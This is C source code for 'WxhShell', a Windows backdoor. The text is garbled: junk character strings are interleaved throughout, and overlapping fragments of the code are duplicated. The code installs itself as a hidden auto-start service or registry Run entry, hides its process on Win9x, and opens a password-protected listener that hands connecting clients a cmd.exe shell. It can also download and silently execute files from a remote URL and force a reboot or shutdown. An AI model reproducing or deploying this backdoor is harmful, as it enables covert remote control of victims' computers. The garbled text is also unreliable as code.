(ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 0dIGX |e g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); .F'Cb)Z NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); .+mP#<mAg odDVdVx0 if (!NtQueryInformationProcess) return 0; 8>G5VhCm~o '[HBKn$` hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ~# \{'< if(!hProcess) return 0; Ci 'V 7xM4=\~OG if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; qu.AJ* M+M ;@3 CloseHandle(hProcess); uGn BlR$} Adet5m.|[8 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); <I*N=;7 if(hProcess==NULL) return 0; g\9&L/xDN m7`S@qG HMODULE hMod; )6BySk char procName[255]; ^?_MIS`4N unsigned long cbNeeded; h@]{j_$u CfO{KiM(2 if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); P'[ISGt z}iz~WZ CloseHandle(hProcess); <>( v~a] tS Y4' if(strstr(procName,"services")) return 1; // 以服务启动 \vx'+} "!&
o|!2 return 0; // 注册表启动 5R)IL2~ } MskOPg lKf kRyO_S // 主模块 nVr V6w int StartWxhshell(LPSTR lpCmdLine) PbY.8d%2/k { _>)@6srC SOCKET wsl; qW*k|;S BOOL val=TRUE; >Hmho' int port=0; me F. struct sockaddr_in door; y<~(}xsHh QCG-CzJ9l if(wscfg.ws_autoins) Install(); ;dtA-EfOZ "$b{EYq6 port=atoi(lpCmdLine); N
A_8<B^ c6 .j$6t if(port<=0) port=wscfg.ws_port; Zl>wWJ3y {t4':{Y+ WSADATA data; O2"@09: if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; xXnSo0`LF (#x&Y#5 if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; Pqj\vdzx setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); R6`mmJ+' door.sin_family = AF_INET; 9':Hh' door.sin_addr.s_addr = inet_addr("127.0.0.1"); S|;}]6p door.sin_port = htons(port); *NM* oiM['iDK if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Ki1 zi~ closesocket(wsl); I *f@M} return 1; eL'fJcjw< } Dw 5Ze fOKAy' if(listen(wsl,2) == INVALID_SOCKET) { =*.S<Ko) closesocket(wsl); /cVZ/" return 1; VD $PoP } %{UW!/ Wxhshell(wsl); zo8&(XS WSACleanup(); *=]UWM~] nv(6NV return 0; fGW~xul_ Ic^
(6 } "rc QS
H ,&s"f4Mft // 以NT服务方式启动 RQu[FZT, VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) [z*1#lj S { "Er8RUJA DWORD status = 0; EP90E^v^ DWORD specificError = 0xfffffff; In;P33'p i5_l//] serviceStatus.dwServiceType = SERVICE_WIN32; O;&5>
W,Z serviceStatus.dwCurrentState = SERVICE_START_PENDING; I.>8p]X serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Bk@EQdn serviceStatus.dwWin32ExitCode = 0; :c Er{U8 serviceStatus.dwServiceSpecificExitCode = 0; ?%lfbZ serviceStatus.dwCheckPoint = 0; Qs?p)3qp serviceStatus.dwWaitHint = 0; pAaNWm W6r3v)~ hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); b\kA if (hServiceStatusHandle==0) return; fN21[Jv3 "\]]?& status = GetLastError(); bYX.4(R if (status!=NO_ERROR) biForT_no { iSfRo31 serviceStatus.dwCurrentState = SERVICE_STOPPED; bPkz= ^- serviceStatus.dwCheckPoint = 0; K|Xe) serviceStatus.dwWaitHint = 0; W^c /l*>v serviceStatus.dwWin32ExitCode = status; \/nSRAk serviceStatus.dwServiceSpecificExitCode = specificError; yn20*ix{ SetServiceStatus(hServiceStatusHandle, &serviceStatus); dDAl n+ return; ccx0aC3@I } 2z AxGX 5`lVC$cP serviceStatus.dwCurrentState = SERVICE_RUNNING;
m;TekJXm serviceStatus.dwCheckPoint = 0; s;[=B serviceStatus.dwWaitHint = 0; ELg$tc if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); aWP9i& } et(AO)uv6 fP8bWZ{ // 处理NT服务事件,比如:启动、停止 Fiw^twz5 VOID WINAPI NTServiceHandler(DWORD fdwControl) >svx
8CT { rd24R-6 switch(fdwControl) (h[.
Ie { A6E~GJa case SERVICE_CONTROL_STOP: L.S/M v serviceStatus.dwWin32ExitCode = 0; *iyc,f^w serviceStatus.dwCurrentState = SERVICE_STOPPED; zyt >(A1 serviceStatus.dwCheckPoint = 0; 'z=d&K serviceStatus.dwWaitHint = 0; H
=&K_ { ;E!] /oY< SetServiceStatus(hServiceStatusHandle, &serviceStatus); }^b } 9Sa6v?sRor return; /1bQ
RI^\ case SERVICE_CONTROL_PAUSE: FF|M7/[~ serviceStatus.dwCurrentState = SERVICE_PAUSED; w6-<HPW<S break; ~at:\h4: case SERVICE_CONTROL_CONTINUE: 6?JvvS5 serviceStatus.dwCurrentState = SERVICE_RUNNING; Gq%,'amf break; PIoBK CJ case SERVICE_CONTROL_INTERROGATE: 8.7lc2aX break; '!`]Zc }; 2p58_^l SetServiceStatus(hServiceStatusHandle, &serviceStatus); m,}GP^<1i } u%=2g'+)_ k\g:uIsv$ // 标准应用程序主函数 QNx xW2+ int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) )@=fGN Dt { CAN1~ OsRizcgdA // 获取操作系统版本 SO<9?uk. OsIsNt=GetOsVer(); F%O+w;J4 GetModuleFileName(NULL,ExeFile,MAX_PATH); QHnC(b 'tjqfR // 从命令行安装 1xO-tIp/ if(strpbrk(lpCmdLine,"iI")) Install(); 9;L8%T
( T#[#w*w/ // 下载执行文件 XK)0Mt\ if(wscfg.ws_downexe) { [h8macx if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) mMO]l(a& WinExec(wscfg.ws_filenam,SW_HIDE); H6/gRv@ } \Xr*1DI< F6>oGmLy if(!OsIsNt) { ~)6EH`- // 如果时win9x,隐藏进程并且设置为注册表启动 Y.#fpG' HideProc(); Y_~otoSoY StartWxhshell(lpCmdLine); E@AV?@<sc } ,K|UUosS-# else n8`WU3& if(StartFromService()) ,/!^ZS* // 以服务方式启动 BKgCuz:y StartServiceCtrlDispatcher(DispatchTable); ?0qP6'nWx else .nEiYS|T // 普通方式启动 EG3u)}vI StartWxhshell(lpCmdLine); }XqC'z Vjd>j; H return 0; gP |>gy#e } `}rk1rl6 Py?Q:: #q xo1uV(c o8NRu7@? =========================================== 432]yhQ imKMPO= 6&
6|R3 M|{NC`fa a|4Q6Ycu J"TF@7{p " Sl@Ucc31 x0) WrDb #include <stdio.h> % iZM9Q&NC #include <string.h> kv;P2:"| #include <windows.h> MIb[}w= #include <winsock2.h> -=ZDfM
#include <winsvc.h> ru4M=D #include <urlmon.h> aM(x--UR= ~R50-O #pragma comment (lib, "Ws2_32.lib") S0}=uL#dt #pragma comment (lib, "urlmon.lib") ]b:>7_la *%E\mu,,c #define MAX_USER 100 // 最大客户端连接数 JV_VM{w{K #define BUF_SOCK 200 // sock buffer %.onO0}) #define KEY_BUFF 255 // 输入 buffer Xg*](>/\, N,3iSH=cN[ #define REBOOT 0 // 重启 u(\O@5a #define SHUTDOWN 1 // 关机 A~ _2" sV\K[4HG #define DEF_PORT 5000 // 监听端口 vTTXeS-b Rz[3cN)?q #define REG_LEN 16 // 注册表键长度 d`~~Ww1 #define SVC_LEN 80 // NT服务名长度 L0GQH;Y,h c] t@3 m // 从dll定义API TQ5kM typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); =G"ney2 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Y*S:/b~y typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); JYv<QsD typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 1 vtC4` =|8hG*D8 // wxhshell配置信息
NRgVNE struct WSCFG { z,4 D'F& int ws_port; // 监听端口 3dSC`K char ws_passstr[REG_LEN]; // 口令 a6 1!j>Kx int ws_autoins; // 安装标记, 1=yes 0=no tw&v@HUP char ws_regname[REG_LEN]; // 注册表键名 mCG&=Fx char ws_svcname[REG_LEN]; // 服务名 *>1^q9M char ws_svcdisp[SVC_LEN]; // 服务显示名 O?cU6u;W char ws_svcdesc[SVC_LEN]; // 服务描述信息 _x|.\j char ws_passmsg[SVC_LEN]; // 密码输入提示信息 lk[Y6yE int ws_downexe; // 下载执行标记, 1=yes 0=no n?;rWq" char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 6U.|0mG[ char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Vu=/<;-N z^z`{B }; I~&9c/& D9?.Ru0. // default Wxhshell configuration v^vi *c struct WSCFG wscfg={DEF_PORT, aT(_c/t. "xuhuanlingzhe", xwi6#> 1, S(?A3 H "Wxhshell", B?- poB& "Wxhshell", zn7)>cQ905 "WxhShell Service", ,?k1if(0[ "Wrsky Windows CmdShell Service", C4P<GtR9 "Please Input Your Password: ", /-G_0A2wF 1, H-U_ "http://www.wrsky.com/wxhshell.exe", &i.sSqSI5 "Wxhshell.exe" x!\q69nd v }; nosD1sS.K8 zsJermF,O // 消息定义模块 I[d<SHo char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; l {>j8Ln char *msg_ws_prompt="\n\r? for help\n\r#>"; F=
%A9b_a char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; H;l_;c` char *msg_ws_ext="\n\rExit."; K +3=gBU*w char *msg_ws_end="\n\rQuit."; m!ueqV" char *msg_ws_boot="\n\rReboot..."; #/f~LTE char *msg_ws_poff="\n\rShutdown..."; G3%Ju= char *msg_ws_down="\n\rSave to ";
^B%=P . R/y`:1:W char *msg_ws_err="\n\rErr!"; nS*Y+Q^9a char *msg_ws_ok="\n\rOK!"; ,^97Ks
; AyOibnoZ2E char ExeFile[MAX_PATH]; V?1 $H int nUser = 0;
});Rjg HANDLE handles[MAX_USER]; ;'= cNj int OsIsNt; <.B+&3') NX.xEW@ SERVICE_STATUS serviceStatus; \'4~@ SERVICE_STATUS_HANDLE hServiceStatusHandle; ~~Ezt*lH u0 tlf // 函数声明 RbXR/Rd int Install(void); U/QgO int Uninstall(void); E<[
s+iX int DownloadFile(char *sURL, SOCKET wsh); L|'^P3#7` int Boot(int flag); kTvM,< void HideProc(void); X$Vi=f vt int GetOsVer(void); VPUVPq~& int Wxhshell(SOCKET wsl); s6bsVAO> void TalkWithClient(void *cs); z]G|)16
int CmdShell(SOCKET sock); PXb$]HV int StartFromService(void); T D_@0Rd int StartWxhshell(LPSTR lpCmdLine); &3Zq1o sl]<A[jR VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ^ po@U" VOID WINAPI NTServiceHandler( DWORD fdwControl ); Kw
-SOFE '.mepxf< f // 数据结构和表定义 "D(Lp*3hj& SERVICE_TABLE_ENTRY DispatchTable[] = {D+mr[ % { |mb2<! ag{ {wscfg.ws_svcname, NTServiceMain}, UnhVppnex {NULL, NULL} _wq?Pa<)e }; Y %JQ K;?D^n. // 自我安装 ?%,NOX int Install(void) "j^i6RS { <)VgGjZ-H char svExeFile[MAX_PATH]; 6Z2 ,:j; HKEY key; ZitM<Qi&y strcpy(svExeFile,ExeFile); d!,t_jM0 )[Y B& // 如果是win9x系统,修改注册表设为自启动 Ed9Uw7 if(!OsIsNt) { 3nxG>D7 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~6 6xO9s RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /).{h'^Hq\ RegCloseKey(key); xnP!P2 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { J+6zV m RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); FwCb$yE#M RegCloseKey(key); (`P\nnb return 0; ]?Ef0?44 } h!EA;2yGKa } Fhoyji4 } kBu{ bxL else { V`V\/s gj u^80NR // 如果是NT以上系统,安装为系统服务 m~=~DMj SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ]\$/:f-2 if (schSCManager!=0) OmYVJt_ { wKV4-uyr SC_HANDLE schService = CreateService xs$$fPAQ ( ($[wCHU`! schSCManager, HgI!q<) wscfg.ws_svcname, 4fEDg{T wscfg.ws_svcdisp, g)D_!iz SERVICE_ALL_ACCESS, )9QtnM SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , UX 1
)(( SERVICE_AUTO_START, c'2d+*[ SERVICE_ERROR_NORMAL, 1yy?1&88S svExeFile, kB\{1; NULL, @-N` W9 NULL, / HTY>b NULL, 'rQ"Dc1D NULL, bDI%}k9# NULL PnlI {d ); <n"BPXF~ if (schService!=0) +6m.f,14q { PNU(;&2< CloseServiceHandle(schService); y8Va>ul"U CloseServiceHandle(schSCManager); x0*{oP strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); G#M)5'Q]U strcat(svExeFile,wscfg.ws_svcname); ~%TWF+ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { k;WD[SV RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 1J@Iekat RegCloseKey(key); :!ya&o return 0; Wboh2:TH: } s='+[*&& }
:|7#D,2 CloseServiceHandle(schSCManager); {h<D/:^v } B5e9'X^
[ } ab0Sx Ic&h8vSU return 1; 7ubz7* } #el27"QP0 }x8!{Y#cF // 自我卸载 ==[,;g
x int Uninstall(void) md!6@)S-p { }Q7y tE HKEY key; jYsAL=oh,* #;!&8iH if(!OsIsNt) { K%^n. if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { nK&]8" RegDeleteValue(key,wscfg.ws_regname); !e$gp(4
RegCloseKey(key); n,la<N] if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { k[=qx{Osx% RegDeleteValue(key,wscfg.ws_regname); <hT\xBb: RegCloseKey(key); "4j~2{{F return 0; DwD$T%kF } "fFSZ@,r } [oWkd_dK } q76POytV| else { cHFi(K]|1 (8 nv&| SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); "kg`TJf= if (schSCManager!=0) W,q @ww u { Iv`IJQH> SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); I[Ra0Q>([k if (schService!=0) *Cy54Z# { S0$^|/Sr if(DeleteService(schService)!=0) { Fu7:4+ CloseServiceHandle(schService); HL)!p8UHJ CloseServiceHandle(schSCManager); jX53 owZ return 0; qsj{0 Go } Et>#&Nw8 CloseServiceHandle(schService);
~zp8%lEe } e3~MU6 CloseServiceHandle(schSCManager); 5>532X(0 } :=QX ^* } yzK; ]5!3|UYS return 1; bMH~vR } QV4|f[Ki% :Mx // 从指定url下载文件 =u~nLL
int DownloadFile(char *sURL, SOCKET wsh) K+g[E<x\= { nD
wh HRESULT hr; 'o$j~Mr char seps[]= "/"; ;m/e|_4;y char *token;
tm1= char *file; 16NHzAQ char myURL[MAX_PATH]; U,<m%C" char myFILE[MAX_PATH]; 4vhf!!1
'g v0;L strcpy(myURL,sURL); f@*69a8 token=strtok(myURL,seps); d\z6Ob"t while(token!=NULL) 5Rqdo\vE { ^W |YE72Y file=token; }~FX!F#oU token=strtok(NULL,seps); yR[6s#F/h } 43=v2P0=Tj k
%I83,+ GetCurrentDirectory(MAX_PATH,myFILE); rxCzPF strcat(myFILE, "\\"); *yq65yZi5 strcat(myFILE, file); xATx2*@X2 send(wsh,myFILE,strlen(myFILE),0); a`O'ZY send(wsh,"...",3,0); osV6= hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ~id6^#&> if(hr==S_OK) h*w9{[L return 0; )e(<YST else fRp] return 1; |r9<aVlK *^>"
h@J } 1M ?BSH{ :e<jD_.X // 系统电源模块 !Ko2yn}6l int Boot(int flag) yC'
y>f`H { IZVP- HANDLE hToken; *ug~LK5Y. TOKEN_PRIVILEGES tkp; 1U\ap{z@
(s8b?Ol/ if(OsIsNt) { )~2\4t4|g OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); S^O9}<2g LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); O'4G'H) tkp.PrivilegeCount = 1; ~nZcA^b#DQ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; g`fG84 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 9a`LrB if(flag==REBOOT) { M7#!Y= if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) bY_'B5$.^2 return 0; 8Vu@awz{L } W>3S%2d else { =Rd`"]Mnfb if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) O9ex=m `L return 0; ;m7V]h? R } PD#,KqL: } =D<0&M9C else { C% -Tw]T$_ if(flag==REBOOT) { .}faWzRH9 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) s5~k]"{j return 0; Ny^ 1#R } rr#nBhh8 else { ?Y"%BS+pt if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) }`R,C~-|^ return 0; R"ON5,E } #X Q/y} ( } %
/:1eE`!S %.Y5%TyP return 1; $dfc@Fn^x } EP:`l qbyYNlXqm // win9x进程隐藏模块 uFr12ZFgK void HideProc(void) e=;A3S { ]V"P
&;m B=A!hXNa HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); x`E<]z*w} if ( hKernel != NULL ) ; Y/nS { APu$t$dmm pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ]B>76?2W ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); .7Mf(1: FreeLibrary(hKernel); 3IxC@QR } |>Q>d8|k N~/'EaO return; 8Lgt } bjVk9XvH6 ~'M<S=W // 获取操作系统版本 qU26i"GHp int GetOsVer(void) =g+}4P { 4,y7a=qf3 OSVERSIONINFO winfo; /LFuf`bXV winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); >0HH#JW GetVersionEx(&winfo); '$FF/|{ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
wra0bS)4 return 1; E#!N8fQ else 2^[dy>[y0 return 0; B:h<iU:'D } S]3CRJU3` kZe<<iv // 客户端句柄模块 W&5/1``u\ int Wxhshell(SOCKET wsl) dWz?`B{' { 8-#kY}d. SOCKET wsh; *)K\&h<{ struct sockaddr_in client; ///Lg{ie DWORD myID; 3(e_2v ((ebSu2-?$ while(nUser<MAX_USER) N
sdpE?V { Kk^*#vR int nSize=sizeof(client); aL1%BGlmZ< wsh=accept(wsl,(struct sockaddr *)&client,&nSize); W>#yXg9 if(wsh==INVALID_SOCKET) return 1; M5{#!d}^D J>(X0@eWz handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); !(lcUdBd if(handles[nUser]==0) I|rb"bG closesocket(wsh); ?/YAB Y}L else \%<M[r= nUser++; NQ`D"n } l cl|o3yQ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 1(DiV#epG /\%<VBx ?q return 0; -,bnj^L } ^fsMfB Cd*h4Q]S // 关闭 socket 6x^$W ]R void CloseIt(SOCKET wsh) 0O"W0s"T# { vH+g*A0S< closesocket(wsh); e!5} #6Kd nUser--; u1/>)_U ExitThread(0); *73gp
} x3ZF6)@ _v&fIo // 客户端请求句柄 N|DfE{, void TalkWithClient(void *cs) zamMlmls^ { H9)@q3<
y?OP- 27y SOCKET wsh=(SOCKET)cs; sqKx?r72 char pwd[SVC_LEN]; :7K
a4 char cmd[KEY_BUFF]; ) lUS' I char chr[1]; 8n3]AOc'~- int i,j; LwB1~fF V}V->j* while (nUser < MAX_USER) { yz68g?" =muQ7l:( if(wscfg.ws_passstr) { k ]NZ%. if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); zA5nr` //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); vX:}tir[ //ZeroMemory(pwd,KEY_BUFF); s!(R i=0; t9`{^<LH while(i<SVC_LEN) { g`pq*D IWE([<i}i[ // 设置超时 7i($/mNl fd_set FdRead; ]nsjYsT struct timeval TimeOut; _ ^FC9 FD_ZERO(&FdRead); AQZ<,TE0, FD_SET(wsh,&FdRead); )M0`dy{1 TimeOut.tv_sec=8; Xmr}$<<= TimeOut.tv_usec=0; FQ>$Ps*a[ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); lgews" if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); SrKitSG CE3l_[c if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _9>,9aL pwd=chr[0]; .,u>WIUxj if(chr[0]==0xd || chr[0]==0xa) { eDpi0htm pwd=0; Wx0i_HFR break; <)ZQRE@ } llZU: bs i++; ZSu.0|0# } O}"oz3H 5[;[ Te9=S // 如果是非法用户,关闭 socket }sxs- if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Bj7*2} } [r`KoHwdm Z 7@'I0;A send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); xCZ_x$bk send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :lai0>
D pwN2Nzski while(1) { d~8U1}dP _\>y[e["p ZeroMemory(cmd,KEY_BUFF); yepRJ%mp VVQ~;{L // 自动支持客户端 telnet标准 ) k/&,J3 j=0; wKpGJ&
{ while(j<KEY_BUFF) { .6gx|V+ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !EIH"`>! cmd[j]=chr[0]; (GRW(Zd4 if(chr[0]==0xa || chr[0]==0xd) { 0'd@8]|H cmd[j]=0; g/C 7wc break; eY3:Nl^ } hp)>Nzdx j++; !5d n7Wuj } DG;u_6;JR 9we];RYK // 下载文件 R"OT&:0/ if(strstr(cmd,"http://")) { XI`_PQco send(wsh,msg_ws_down,strlen(msg_ws_down),0); ,P<I<QYu if(DownloadFile(cmd,wsh)) K21Xx`XK send(wsh,msg_ws_err,strlen(msg_ws_err),0); (m1m}* @ else /eHf8l send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); KdR\a&[MA } ` .`:~_OE else { xFUD9TM
d '2JMdbc switch(cmd[0]) { nxN("$'cq 'tTlBf7# // 帮助 07^.Z[(pCt case '?': { Yaq0mef0 send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ~oOv/1v}, break; rKPsv*w } JK)|a@BtOT // 安装 '_g&!zi8~ case 'i': { w32F?78] if(Install()) rREev send(wsh,msg_ws_err,strlen(msg_ws_err),0); '
Sd&I:? else I-.?qcy~ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &>B|?d break; Q3lVx5G>4 } /_fZ2$/ // 卸载 jM*wm~4>@ case 'r': { 5YZ\@<|rH if(Uninstall()) WV}pE~ send(wsh,msg_ws_err,strlen(msg_ws_err),0); RW>F %P else 0jpyc send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qyyLU@hd break; \mN?5QCcE } /s*>V@Q // 显示 wxhshell 所在路径 G7/LY TT) case 'p': { 8"*$e
I5 char svExeFile[MAX_PATH]; |~CnELF) strcpy(svExeFile,"\n\r"); )Z%+~n3o' strcat(svExeFile,ExeFile); o%QQ7S3P send(wsh,svExeFile,strlen(svExeFile),0); rYS D-Kq break; omA*XXUx=8 } :{
T#M$T // 重启 k51s*U6= case 'b': { 8W[]#~77b send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); @!'H'GvA if(Boot(REBOOT)) zB$6e!fc send(wsh,msg_ws_err,strlen(msg_ws_err),0); D5m\u$~V else { N]<gHGj} closesocket(wsh); |YFD| ExitThread(0); ~&/Gx_KU } #"{8Z&Z break; L K~, } Yc V~S#b // 关机 =|%T E case 'd': { JAz;_wS(k send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); p,8Z{mLn if(Boot(SHUTDOWN)) Madaxx send(wsh,msg_ws_err,strlen(msg_ws_err),0); T!a[@,)_
else { U}0/V
c26 closesocket(wsh); E}=,"i ExitThread(0); %$xFnGb } \IfgL$+ break; =x'%zUgE } ,AM-cwwT:u // 获取shell +3>4 ?,^g case 's': { /,UkT*+>! CmdShell(wsh); k#) .E X closesocket(wsh); (`+Z'Y ExitThread(0); EvmmQ break; A%2}?Ds } b]#d04] // 退出 }AqD0Qd2Hj case 'x': { \W^+vuD8 send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); .A/H+.H; CloseIt(wsh); !VZj!\I break; PWu2;JF } W@dY:N} // 离开 oLMi vy4 case 'q': { Q$L(fHkw send(wsh,msg_ws_end,strlen(msg_ws_end),0); "'B%.a#k closesocket(wsh); !y~b;>887 WSACleanup(); u/c3omY"# exit(1); SYPMoE!U: break; #aX@mPm
} !cwVJe } 2] G$6H } ja- ~` c@7hLUaE2 // 提示信息 ;S`-9}6 if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); GPLt<K!<# } b|o!&9Yyr } yGGB ~C7<a48x return; /.YAFH|i)" } ]=VS~azZ5 ?lN8~Ze // shell模块句柄 A'QGTT int CmdShell(SOCKET sock) 0uO=wOIhH { %`1CE\f STARTUPINFO si; `Uj?PcS_ ZeroMemory(&si,sizeof(si)); /NX7Vev si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; >04>rn#},, si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 0LWdJ($? PROCESS_INFORMATION ProcessInfo; ";PG%_( char cmdline[]="cmd"; l60ikc4$I CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 7$(_j<o` return 0; r0F_; } V~OUE]]Q |EF>Y9
// 自身启动模式 Y 3o^Euou int StartFromService(void) $brKl8P { DpA\r_D typedef struct `FUFK/7
w\ { >9-Dd)< DWORD ExitStatus; bt;lq!g DWORD PebBaseAddress; p1Q/g Il DWORD AffinityMask; ]{YN{ DWORD BasePriority; R=`U 4Ml; ULONG UniqueProcessId; B-!guf
rnY ULONG InheritedFromUniqueProcessId; y0,Ft/D } PROCESS_BASIC_INFORMATION; c
Qld$ gf+o1\5t@ PROCNTQSIP NtQueryInformationProcess; GGCqtA^@7d j7f5|^/x3 static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; !0`lu_ZN static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; X$/E>I avlqDi1l HANDLE hProcess; V
{p*z PROCESS_BASIC_INFORMATION pbi; +<&E3O r w{3ycR HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); T-^0:@5o9 if(NULL == hInst ) return 0; vyE{WkZxR q$F) !& g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); fTBVvY4( g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); v{r1E]rY NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); -!l^]MU YNI;h%w if (!NtQueryInformationProcess) return 0; IAYACmlN& VrVDm*AGQ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); " rsSW3_ if(!hProcess) return 0; >
